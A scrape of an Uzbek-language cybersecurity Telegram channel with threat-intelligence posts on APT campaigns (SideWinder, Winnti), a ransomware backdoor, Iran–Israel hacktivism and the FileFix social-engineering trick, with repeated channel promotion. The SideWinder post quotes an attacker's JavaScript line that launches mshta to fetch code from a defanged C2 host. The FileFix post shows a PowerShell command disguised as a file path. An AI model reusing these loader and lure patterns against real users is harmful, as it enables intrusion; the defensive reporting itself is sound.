2024-yilning ikkinchi yarmidan boshlab, yangi taktikalar, texnikalar va protseduralar kuzatilmoqda. Jumladan, jabrlanuvchiga PDF hujjati yuborilib, ushbu hujjatda keltirilgan havolaga bosish orqali CVE-2024-38213 zaifligidan foydalanish natijasida tizimga "pdf.lnk" kengaytmali LNK fayli yuklab olinadi. Ushbu fayl ishga tushirilganda, PowerShell buyrug‘ini bajarish orqali qurbonning kompyuteriga zararli hujjat yuklab va ko‘rsatiladi, shuningdek EXE/DLL fayllarni yuklash, ularning doimiyligini ta’minlash (Windows "Run" bo‘limi orqali) va ishga tushirish amalga oshiriladi.
Ma’lumki, ushbu kiber tahdidni amalga oshirishda quyidagi dasturiy vositalar ishlatilgan:
Why waste time? Join the community today!
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
— Proton bergan ma’lumotiga ko’ra, texnik gigantlar, ya’ni Google, Meta va Apple Amerikaning maxsus bo’linmalari va havfsizlik bo’linmalari uchun ma’lumotlar yetkazuvchi sifatida gavdalandi.
Bu shuni anglatadiki Amerika yirik bo’lgan IT gigantlarini kuzatuv uchun foydalanib kelayapti.
Why waste time? Join the community today!
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
Berilgan vazifani yechib,
CTF tafsilotlari va topshiriq tez orada e’lon qilinadi. Tayyor turing!
Why waste time? Join the community today!
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
APT guruhi turli sohalarga katta qiziqish uyg'otadi va hujumlarning katta geografiyasi bilan tanishing:
Guruh o'z faoliyatini, ayniqsa Afrikada yanada kengaytirdi. Hujumlar Avstriya, Bangladesh, Kambodja, Jibuti, Misr, Indoneziya, Mozambik, Myanma, Nepal, Pokiston, Filippin, Shri-Lanka, Birlashgan Arab Amirliklari va Vetnamda aniqlangan.
So‘nggi hujumlarda SideWinder Afg‘oniston, Jazoir, Bolgariya, Xitoy, Hindiston, Maldiv orollari, Ruanda, Saudiya Arabistoni, Turkiya va Ugandadagi diplomatik vakolatxonalarni ham nishonga oldi.
Zararli ilovali fishing xabari > RTF ekspluatatsiyasi >
javascript:eval("var gShZVnyR = new ActiveXObject('WScript.Shell');gShZVnyR.Run('mshta.exe)
hxxps://dgtk.depo-govpk[.]com/19263687/trui',0);window.close();")
Ko'rib turganimizdek, mshta ishga tushirildi, u C2 dan hta faylini yuklashi kerak, keyin qonuniy jarayon bilan yuklangan Backdoor Loader kutubxonasi yuklanadi.
Hujum quyidagi nomlarga ega edi:
propsys.dll
vsstrace.dll
JetCfg.dll
Policymanager.dll
winmm.dll
xmllite.dll
dcntele.dll
UxTheme.dll
Bu kutubxona Stealer Bot implantini xotiraga yuklash uchun kerak.
Why waste time? Join the community today!
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
10
— Winnti guruhining Yaponiya tashkilotiga qaratilgan hujum kampaniyasi
WebShell:
- China chopper
- Behinder (Ice Scorpion)
- sqlmap file uploader
Winnti zararli dasturlari (Rootkit, RAT, Loader)
- Dastlabki kirish: "China Chopper" va "Behinder" kabi veb-qobiqlarni joylashtirish uchun Enterprise Resource Planning (ERP) tizimlarida SQL injection zaifliklaridan foydalanish, dastlabki kirish va razvedkani osonlashtiradi.
- Zararli dasturlarni joylashtirish: xavfsizlik mahsulotlarini chetlab o'tish uchun noaniqlik, yangilangan shifrlash algoritmlari va ilg'or qochish usullarini o'z ichiga olgan Winnti zararli dasturining takomillashtirilgan versiyasini o'rnatish.
- Yanal harakat: bir nechta tashkilotlarga ta'sir qiladigan o'zaro bog'langan tarmoqlar bo'ylab zararli dasturlarni tarqatish uchun, xususan, boshqariladigan xizmat ko'rsatuvchi provayderlar (MSP) ichida buzilgan umumiy hisoblardan foydalanish:
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
10
Hujumchilar Yangi Maxsus Backdoor-dan Foydalanmoqda 👽
RansomHub:
Symantec tadqiqotchilari aniqlashicha, RansomHub RaaS dasturining kamida bitta affillangan ishtirokchisi Betruger nomli yangi backdoor-dan foydalanishni boshlagan. Ushbu ko‘p funksiyali zararli dastur ehtimoliy ravishda to‘lov talab qiluvchi hujumlar uchun maxsus ishlab chiqilgan.
Betruger funksiyalari:
Backdoor fayllari mailer.exe va turbomailer.exe nomlari ostida bo‘lib, ular qonuniy dasturlar sifatida yashirishga urinish bo‘lishi mumkin.
🔗 Source.
✉️ Telegram ✊ Forum
🌐 Linkedin 🌐 Web
📷 Instagram 📹 TikTok
@CentiSec
RansomHub:
Symantec tadqiqotchilari aniqlashicha, RansomHub RaaS dasturining kamida bitta affillangan ishtirokchisi Betruger nomli yangi backdoor-dan foydalanishni boshlagan. Ushbu ko‘p funksiyali zararli dastur ehtimoliy ravishda to‘lov talab qiluvchi hujumlar uchun maxsus ishlab chiqilgan.
Betruger funksiyalari:
⚪️ Ekran skrinshotlarini olish⚪️ Keylogging (klaviatura yozuvlarini qayd etish)⚪️ Fayllarni boshqaruv serveriga yuklash⚪️ Tarmoqni skanerlash⚪️ Huquqlarni oshirish (privilege escalation)⚪️ Akkount ma’lumotlarini o‘g‘irlash
Backdoor fayllari mailer.exe va turbomailer.exe nomlari ostida bo‘lib, ular qonuniy dasturlar sifatida yashirishga urinish bo‘lishi mumkin.
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
10
Machine haqida batafsil ma'lumot olmoqchi bo'lsangiz:
Musobaqa 3-Iyun soat 18:00-dan ertangi 4-Iyun soat 18:00-gacha davom etadi, barchangizga omad!
Forumga qo'shiling —
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5
Machine haqida batafsil ma'lumot olmoqchi bo'lsangiz:
Musobaqa 10-iyun soat 17:00-dan ertangi 11-iyun soat 17:00-gacha bo'lib o'tadi, barchangizga omad!
Forumga qo'shiling —
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
Ohirgi xabarlarga ko'ra Eron patriot xakkerlik guruhlari o'z aktivlarini boshlaganini e'lon qilishdi, va ularga shu bilan birga dunyoning har bir chekkasidan xakkerlar qo'shilib ularga yordam berish uchun shay turishganini e'lon qildi.
Yaqin orada Pokiston va Hindiston kichik vaqt "davom etgan urushiga" ham har tomondan xakkerlik guruhlari yig'ilgani ammo asosan Hindiston ochiqchasiga katta kompaniyalarda ishlaydigan kiberxavfsizlik muhandislarini ham ushbu amaliyotga tortganligi va haligacha ushbu amaliyotlar davom etayotganligi ma'lum
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍10
Nega Eron internetni o‘chirib qo‘ydi
Isroillik Gonjeshke Darande (fors tilidan tarjimada “Yirtqich chumchuq”) xakerlar guruhi Erondagi davlatga qarashli Sepah bankiga kirib borib, uning ma’lumotlarini yo‘q qilganini e’lon qildi. Ushbu hujum natijasida xizmatlarda keng ko‘lamli uzilishlar yuz berdi.
👽 Eronning Islomiy inqilob soqchilari korpusi (IRGC) tarkibiga kiruvchi APT34 (OilRig), APT35 (Charming Kitten), APT39 (Remix Kitten) kabi guruhlar Isroil infratuzilmasiga — suv ta’minoti tizimlari, transport tugunlari, hatto kuzatuv tarmoqlariga ham zarbalar berdi.
Keymous+ va Mysterious Team Bangladesh asosan o‘z kiberoperatsiyalarini Misrga yo‘naltirgan, biroq ikkala guruh ham Isroil tashkilotlariga qarshi hujumlar uchun javobgarlikni o‘z zimmasiga olgan.
✉️ Telegram ✊ Forum
🌐 Linkedin 🌐 Web
📷 Instagram 📹 TikTok
@CentiSec
🕹 Isroil Eronga qarshi moliyaviy infratuzilmasiga kuchli kiberhujumlar uyushtirdi. Javoban Eron dezinformatsiya kampaniyalari va psixologik urush orqali hujumlarga qarshi turishga urindi. Bu hodisadan so‘ng xaktivistlar faolligi oshdi, ularning aksariyat harakatlari Eron foydasiga yo‘naltirilgan edi. Sun’iy intellekt yordamida yaratilgan media vositalari orqali olib borilayotgan dezinformatsiya harakatlari onlayn voqelikni shakllantirish va buzishda davom etmoqda.
Isroillik Gonjeshke Darande (fors tilidan tarjimada “Yirtqich chumchuq”) xakerlar guruhi Erondagi davlatga qarashli Sepah bankiga kirib borib, uning ma’lumotlarini yo‘q qilganini e’lon qildi. Ushbu hujum natijasida xizmatlarda keng ko‘lamli uzilishlar yuz berdi.
AQShga qarshi esa “Janob Hamza”, “Arab arvohlari”, “Noma’lum kiber jamoa”, “Dinet”, “Elita otryadi”, “Marokashning qora kiberarmiyasi” va “Bangladeshning sirli jamoasi” tomonidan hujumlar uyushtirildi. Ushbu guruhlar xuddi shu davrda Isroilga qarshi ham chiqishgan.
Keymous+ va Mysterious Team Bangladesh asosan o‘z kiberoperatsiyalarini Misrga yo‘naltirgan, biroq ikkala guruh ham Isroil tashkilotlariga qarshi hujumlar uchun javobgarlikni o‘z zimmasiga olgan.
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
Bu usul ham ilgari mashhur bo‘lgan ClickFix kabi foydalanuvchini o‘zi zararli kodni ishga tushirishga undaydi. Farqi shundaki, bu safar Win+R oynasi emas, balki Explorer (Проводник) manzil satri ishlatiladi.
🔵 FileFix qanday ishlaydi:
Qurbon maxsus tayyorlangan fishing (firibgarlik) saytga kiradi. U saytda ichki korporativ portal ko‘rinishi berilgan bo‘ladi. Sayt foydalanuvchiga "hujjatni ochish"ni taklif qiladi va quyidagi "yo‘l"ni nusxalashni so‘raydi:
C:\Company\internal-secure\HRPolicy.docx
Aslida esa, bu "yo‘l" emas — quyidagi zararli PowerShell buyrug‘i clipboard’ga (buferga) nusxalanadi:
powershell.exe -c ping example.com # C:\company\internal-secure\HRPolicy.docx
Foydalanuvchiga quyidagi ko‘rsatma beriladi:
Ctrl+L → Ctrl+V → Enter — bularning barchasi Explorer’ning manzil satrida amalga oshiriladi.
Natijada foydalanuvchi hech narsadan shubhalanmasdan Enter tugmasini bosadi va real hujjat ochilmaydi — balki PowerShell komandasi ishga tushadi! Bu esa — bevosita brauzer orqali zararli kodni ishga tushirish degani.
🚫 Nega bu usul xavfli:
Explorer (Проводник) manzil satrida yozilgan komandalar filtrlanmaydi
Windows interfeysi foydalanuvchida shubha uyg‘otmaydi — odatiy ish jarayoni kabi ko‘rinadi
Foydalanuvchi fayl ochaman deb o‘ylaydi, aslida esa zararli kod ishga tushadi.
Hech qanday fayl yuklanmaydi (.exe yoki .lnk) — faqat clipboard orqali ish yuritiladi
🛡 Qanday himoyalanish kerak:
Brauzer.exe → powershell.exe kabi jarayon zanjirlarini kuzatadigan xavfsizlik tizimlaridan foydalaning
Xodimlarga tushuntiring: har qanday “qo‘lda tuzatish”, “hujjat ochish” yoki “sistemani sozlash” talab qiladigan ko‘rsatmalar — potensial xavf
EDR tizimlarini yoqing va Проводник hamda clipboard harakatlarini log qilib boring
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
1
U ko‘plab mashhur ma’lumotlar sizib chiqishiga sababchi bo‘lgan va odatda AQSh hukumati yoki yirik korporatsiyalarni nishonga olgan.
🔥 Asosiy faoliyatlari va hujumlari:
1. AQSh hukumatiga oid ma’lumotlar sizib chiqishi
FBI InfraGard (2022): FBI InfraGard a’zolari (xavfsizlik sohasidagi hamkorlik tarmog‘i) haqida shaxsiy ma’lumotlar (ism, telefon, email) e’lon qilingan. U bu tarmoqqa soxta akkaunt orqali kirgan.
DC Health Link (2023): AQSh Kongressi xodimlarining sog‘liqni sug‘urtasi bo‘yicha ma’lumotlari sizib chiqqan. Taxminan 56,000 kishining ma’lumotlari zarar ko‘rgan.
2. Five Eyes razvedkasi bilan bog‘liq hujum
AQSh va uning ittifoqchilari (UK, Kanada, Avstraliya, Yangi Zelandiya) o‘rtasida almashiladigan maxfiy razvedka hujjatlarini qo‘lga kiritganini da’vo qilgan.
Harbiy loyihalar, xavfsizlik strategiyalari kabi maxfiy hujjatlar tarqatilgan.
3. Apple va Qualcomm maxfiy hujjatlari (2023–2024)
Apple ichki kodlari va Qualcomm’ga tegishli texnik hujjatlar, firmware fayllarini sizdirganini da’vo qilgan.
4. General Electric (GE) hujjatlari (2023)
GE’ning AQSh harbiy loyihalari bilan bog‘liq ichki hujjatlari va parollari tarqatilgan.
5. Shuningdek boshqa kompaniyalar ham.
AMD, T-Mobile, Weee!, va Pfizer kabi yirik firmalarning ichki ma’lumotlari, xodimlar parollari, mahsulotga oid sirlar haqida postlar joylashtirgan.
Forumlar faoliyati: BreachForums va boshqa "dark web" forumlarda faol.
Ijtimoiy muhandislik: Soxta ishchi yoki sherik sifatida kirib ma’lumotlarga ega bo‘lgan.
Ma’lumotlarni sotish yoki bepul tarqatish: Ba’zida diqqatni jalb qilish uchun bepul tarqatadi, ba’zida esa kriptovalyuta evaziga sotadi.
Siyosiy yo‘nalish: Ko‘p hollarda AQSh yoki G‘arb davlatlariga qarshi siyosiy izohlar bilan chiqadi.
Xavfsizlikni ta’minlash: Doimiy laqab almashadi, iz qoldirmaslikka harakat qiladi.
Biz shunchaki o'rganuvchilarmiz !!!
@CentiSec
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM